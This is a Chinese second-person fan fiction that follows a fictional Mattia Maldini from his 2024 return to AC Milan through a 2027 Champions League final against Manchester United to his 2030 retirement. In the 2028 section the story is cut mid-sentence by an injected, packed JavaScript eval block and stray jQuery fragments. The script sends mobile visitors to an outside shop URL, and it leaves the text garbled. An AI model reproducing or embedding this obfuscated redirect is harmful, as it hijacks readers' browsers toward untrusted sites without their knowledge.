2024年夏
你正式以自由球员身份回归AC米兰。曼联没有设置任何障碍——你履行完了合同，曼联在你身上没有亏钱，反而赚了荣誉。曼联球迷在社交媒体上发起“ThankYouMattia”话题，持续了三天。
AC米兰为你举办了新闻发布会，地点选在圣西罗的南看台下。你走进会场时，已经有两百多名球迷聚集在场外，唱着你的名字——不是曼联的那首歌，是十五年前你在青训队时，南看台的老球迷们给你编的那首老调子。
你坐下后，第一句话是：“我回来了。不是因为我没地方去，是因为我答应过。”
发布会上，有记者问：“你现在是AC米兰历史上第一位在曼联拿过欧冠的队长。你怎么看这种双重身份？”
你说：“我不是‘AC米兰历史上在曼联拿过欧冠的队长’。我是马蒂亚·马尔蒂尼，我回家了。”
这句话被《米兰体育报》用作第二天头版标题。
——
2024年8月
意甲首轮，AC米兰主场对阵都灵。你被任命为队长——不是临时，而是正式。俱乐部在你回归之前就已经决定了：只要你回来，袖标就是你的。
你走进圣西罗时，南看台的TIFO是一幅巨大的画像：你小时候穿着AC米兰球衣坐在父亲肩头，旁边写着一句话：“Il figlio è tornato a casa.”（儿子回家了。）
你站在中圈，抬头看了很久。德比对手？不，是家人。
比赛第12分钟，你在禁区外远射破门，球直挂死角。你没有庆祝，只是跑向南看台，双手举起指向那些旗帜。全场高喊你的名字，声音大到记分牌的显示屏都在抖动。
赛后你接受采访时说：“我的第一个进球，献给所有从来没有忘记我的人。”
——
2024-25赛季
回归的第一个赛季并非一帆风顺。球队阵容与五年前已有很大不同，年轻球员居多，缺乏经验。你在更衣室里的角色从“曼联的领袖”重新变回了“米兰的家长”。
你开始组织每周一次的“队长晚餐”，轮流邀请不同的年轻球员去米兰市中心的餐馆吃饭。不是谈战术，是聊生活。你对一个18岁的中场说：“你在场上踢得像个机器人，但你踢球是因为你喜欢，不是因为教练要求。记住这一点。”
那个孩子后来成为了赛季最佳新人。
赛季末，AC米兰赢得意甲冠军——这是你回归后的第一个冠军。捧杯时，你让一个从来没拿过意甲的老将先举奖杯。老将哭了，你拍了拍他的头：“别哭，明年还有。”
——
2025年· 30岁
你的膝盖开始出现慢性炎症。队医说这是长期高强度比赛的积累效应，建议减少训练量。你摇头：“我还能踢。”
但你的比赛方式开始改变——不再是全场飞奔的拦截机器，而是更多依靠站位和预判。你开始像父亲后期那样踢球：不需要跑得最快，只需要出现在最对的地方。
意大利媒体开始讨论：“马蒂亚·马尔蒂尼正在从‘斗士’转变为‘智者’。”你看到报道后说：“智者听起来像我爷爷。我还没那么老。”
——
2026年· 31岁
意大利在世界杯四分之一决赛被法国淘汰。你打满全场，但明显跟不上年轻球员的节奏。赛后你面对媒体，承担了责任：“我是队长，我应该做得更好。”
意大利国内没有太多指责——他们知道你为这支球队付出了什么。但也有极端球迷在社交媒体上骂你“老了就该退”。你没有回复，只是把那几条评论截图，存进了一个名为“remember”的文件夹。
——
2027年· 32岁
AC米兰在那个赛季奇迹般地杀入欧冠决赛，对手是——曼联。
抽签结果出来时，全世界都在讨论。曼联球迷论坛上一片哀嚎：“为什么是他？为什么必须是曼联？”米兰球迷则在狂欢：“让队长教教他们，谁才是红色的主人。”
决赛在伊斯坦布尔——又是伊斯坦布尔。
赛前你走进球员通道，对面站着布鲁诺·费尔南德斯——你把曼联袖标交给的那个人。布鲁诺走过来，跟你拥抱了一下，在你耳边说：“今天我们不庆祝，但比赛结束后，不管谁赢，我们喝一杯。”
你点头。
比赛过程惨烈。曼联先进球，米兰下半场扳平。加时赛第118分钟，你已经抽筋了两次，但还在跑。第120分钟，米兰角球，你力压马奎尔头球攻门——球被德赫亚扑出，但跟进的队友补射破门。2-1。
绝杀。
你没有力气庆祝，跪在草地上，双手撑着地，大口大口喘气。队友们冲过来，你被压在最下面，几乎窒息。
赛后你走向布鲁诺，交换了球衣。布鲁诺眼睛红红的，只说了一句：“你永远是最好的。”
你没有说话，只是拍了拍他的脸。
那晚你第三次捧起欧冠奖杯。颁奖仪式上，你把奖杯举过头顶时，对着看台大喊了一声：“Per Milano！”（为了米兰！）
——
2028年· 33岁
你的身体再也无法支撑每周双赛。你开始接受轮换，甚至有些比赛坐在替补席上。你没有抱怨过一次，反而在替补席上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588617|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
指挥年轻队友：“站住位置！别失位！”
有记者问你：“从曼联队长到米兰替补，心里落差大吗？”
你说：“我职业生涯踢了超过800场比赛。如果我现在还觉得自己必须每场都上，那是我还没长大。”
赛季末，AC米兰再次赢得意甲冠军。你捧杯时，已经不再是绝对核心，但全队都知道，没有你，他们走不到这里。
——
2029年· 34岁
你宣布将在赛季结束后退役。消息公布后，AC米兰剩余的每一个主场比赛都成了告别演出。
客场比赛时，几乎所有意甲球队都在赛前为你制作了致敬视频或横幅。甚至尤文图斯球迷也在安联球场为你鼓掌——他们的标语是：“我们恨马尔蒂尼这个姓，但我们尊重马蒂亚这个人。”
你看到那条标语时笑了：“他们还是恨我。挺好的。”
——
2030年· 35岁
AC米兰主场对阵佛罗伦萨，意甲最后一轮。你戴着手腕上的红黑袖标，最后一次以队长身份踏上圣西罗。
全场TIFO是一幅巨大的画像：左边是你父亲穿着AC米兰球衣的背影，右边是你穿着同样球衣的背影，中间是一行字：“Due capitani, una stessa anima.”（两个队长，同一个灵魂。）
你踢了67分钟，被换下场时，全场起立鼓掌。你慢慢走向场边，把队长袖标解下来，递给了旁边的一个22岁中场——他是你当年在青训营里带过的孩子。
那个孩子哭了，你说：“别哭。我花了二十年才学会不哭，你别学我。”
你走到替补席，坐下来，用毛巾盖住了脸。
毛巾下面，你哭了。
——
2030年夏
AC米兰为你举办了盛大的告别仪式。你被授予“AC米兰荣誉主席”的称号——一个没有实权的头衔，但象征着俱乐部永远为你留着一把椅子。
你站在南看台下，对着话筒说：“我这一辈子，有两个家。一个是米兰，一个是曼彻斯特。但米兰是第一个。米兰让我知道我是谁。曼彻斯特让我知道我能成为谁。”
然后你转向南看台，唱了一首歌——不是流行歌，而是南看台球迷最常唱的那首队歌。你唱得跑调，但全场四万人跟着你一起唱。
唱完后，你说了一句：“现在，我真的要走了。”
你放下话筒，转身走进球员通道。
通道尽头，你父亲站在那里，像五年前一样。你们对视了一眼。
这次是他先开口：“踢得不错。”
你笑了：“嗯。还行。”